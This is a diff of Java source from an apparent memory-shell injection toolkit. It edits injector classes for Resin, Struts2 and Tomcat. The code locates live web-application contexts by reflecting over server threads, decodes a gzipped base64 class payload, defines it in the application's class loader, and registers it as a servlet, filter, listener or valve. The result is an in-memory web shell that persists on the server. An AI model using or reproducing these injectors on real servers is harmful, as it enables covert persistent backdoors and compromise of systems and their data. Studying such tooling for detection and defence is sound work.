printStream.close();
}
}
}
}
@@ -1,248 +0,0 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object servlet) throws Exception {
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
Object servletConfig = invokeMethod(
context,
"addServlet",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
invokeMethod(
context,
"addDispatchMap",
new Class[]{String.class, servletConfigClass},
new Object[]{getUrlPattern(), servletConfig});
invokeMethod(context, "clearCache", null, null);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.memshell.injector.struts2; package com.reajason.javaweb.memshell.injector.struct2;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@@ -15,7 +15,7 @@ import java.util.zip.GZIPInputStream;
* @author ReaJason * @author ReaJason
* @since 2025/12/8 * @since 2025/12/8
*/ */
public class Struts2ActionInjector { public class Struct2ActionInjector {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
@@ -32,7 +32,7 @@ public class Struts2ActionInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public Struts2ActionInjector() { public Struct2ActionInjector() {
if (ok) { if (ok) {
return; return;
} }
@@ -76,13 +76,9 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor, public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve) if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
boolean returnsInt = descriptor.endsWith(")I"); return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
} }
return mv; return mv;
} }
@@ -92,13 +88,11 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor { public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes; private final Type[] argumentTypes;
private final String className; private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) { public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv); super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes; this.argumentTypes = argTypes;
this.className = className; this.className = className;
this.returnsInt = returnsInt;
} }
@Override @Override
@@ -123,13 +117,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z", "(Ljava/lang/Object;)Z",
false); false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
// GlassFishValve.END_PIPELINE == 2 mv.visitInsn(Opcodes.RETURN);
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse); mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd); mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -211,22 +199,17 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
@SuppressWarnings("all") @SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) { public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try { try {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class); loader.loadClass(getClassName());
findLoadedClass.setAccessible(true); return;
if (findLoadedClass.invoke(loader, getClassName()) != null) { } catch (ClassNotFoundException ignored) {
return;
}
} catch (Throwable ignored) {
} }
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Throwable ignored) { } catch (Exception ignored) {
} }
} }
} }
@@ -199,22 +199,17 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
@SuppressWarnings("all") @SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) { public void defineTargetClass(ClassLoader loader) {
// Always define into the target class's loader. loadClass() may resolve the shell from the
// agent AppClassLoader, which OSGi bundle loaders cannot use for NEW/invoke.
try { try {
java.lang.reflect.Method findLoadedClass = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class); loader.loadClass(getClassName());
findLoadedClass.setAccessible(true); return;
if (findLoadedClass.invoke(loader, getClassName()) != null) { } catch (ClassNotFoundException ignored) {
return;
}
} catch (Throwable ignored) {
} }
try { try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length); defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Throwable ignored) { } catch (Exception ignored) {
} }
} }
} }
@@ -4,7 +4,6 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -43,7 +42,7 @@ public class TomcatFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -61,47 +60,6 @@ public class TomcatFilterInjector {
System.out.println(msg); System.out.println(msg);
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -118,6 +76,34 @@ public class TomcatFilterInjector {
} }
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
@@ -151,18 +137,15 @@ public class TomcatFilterInjector {
} }
Object filterDef; Object filterDef;
Object filterMap; Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
try { try {
// tomcat v8+ // tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} catch (Exception e2) { } catch (Exception e2) {
// tomcat v5+ // tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
filterMap = filterMapClass.newInstance();
} }
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -180,17 +163,11 @@ public class TomcatFilterInjector {
// tomcat v5 // tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
} }
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
try { try {
// Tomcat5 // v7.0.0 以上
setFieldValue(context, "filterMaps", results); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} catch (Exception e) { } catch (Exception e) {
setFieldValue(getFieldValue(context, "filterMaps"), "array", results); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} }
Constructor filterConfigConstructor; Constructor filterConfigConstructor;
@@ -262,34 +239,20 @@ public class TomcatFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
return clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) { field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -53,89 +53,6 @@ public class TomcatListenerInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
String threadName = thread.getName();
if (threadName.contains("ContainerBackgroundProcessor")) {
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
if (children != null) {
contexts.addAll(children.values());
}
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object proto = getFieldValue(getFieldValue(getFieldValue(target, "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
Object target = getFieldValue(thread, "target");
if (target == null) {
// JDK 21+
Object holder = getFieldValue(thread, "holder");
if (holder != null) {
target = getFieldValue(holder, "task");
}
}
return target;
}
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getContextRoot(Object context) { private String getContextRoot(Object context) {
String r = null; String r = null;
@@ -153,7 +70,32 @@ public class TomcatListenerInjector {
return c + "(" + r + ")"; return c + "(" + r + ")";
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) {
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
// need WebResourceRoot not DirContext
if (resources != null && resources.getClass().getName().endsWith("Root")) {
Object context = getFieldValue(resources, "context");
contexts.add(context);
}
}
}
}
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -272,25 +214,30 @@ public class TomcatListenerInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); try {
Method method = null; Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
while (clazz != null && method == null) { Method method = null;
try { while (clazz != null && method == null) {
if (paramClazz == null) { try {
method = clazz.getDeclaredMethod(methodName); if (paramClazz == null) {
} else { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName, paramClazz); } else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -8,9 +8,7 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -23,14 +21,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private static String msg = ""; private static String msg = "";
private static boolean ok = false; private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatProxyValveInjector() { public TomcatProxyValveInjector() {
if (ok) { if (ok) {
return; return;
@@ -41,7 +31,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -59,11 +49,36 @@ public class TomcatProxyValveInjector implements InvocationHandler {
System.out.println(msg); System.out.println(msg);
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve; this.rawValve = rawValve;
this.proxyValve = proxyValve; this.proxyValve = proxyValve;
} }
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) { if ("invoke".equals(method.getName())) {
@@ -85,24 +100,12 @@ public class TomcatProxyValveInjector implements InvocationHandler {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
String threadName = thread.getName(); if (thread.getName().contains("ContainerBackgroundProcessor")) {
if (threadName.contains("ContainerBackgroundProcessor")) {
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
for (Object value : childrenMap.values()) { for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values()); contexts.addAll(children.values());
} }
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
}
} catch (Exception ignored) {
}
} else if (thread.getContextClassLoader() != null) { } else if (thread.getContextClassLoader() != null) {
String name = thread.getContextClassLoader().getClass().getSimpleName(); String name = thread.getContextClassLoader().getClass().getSimpleName();
if (name.matches(".+WebappClassLoader")) { if (name.matches(".+WebappClassLoader")) {
@@ -118,23 +121,6 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return contexts; return contexts;
} }
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -8,9 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.*;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -44,7 +42,7 @@ public class TomcatServletInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -62,43 +60,6 @@ public class TomcatServletInjector {
System.out.println(msg); System.out.println(msg);
} }
public Set<Object> getContext() throws Exception {
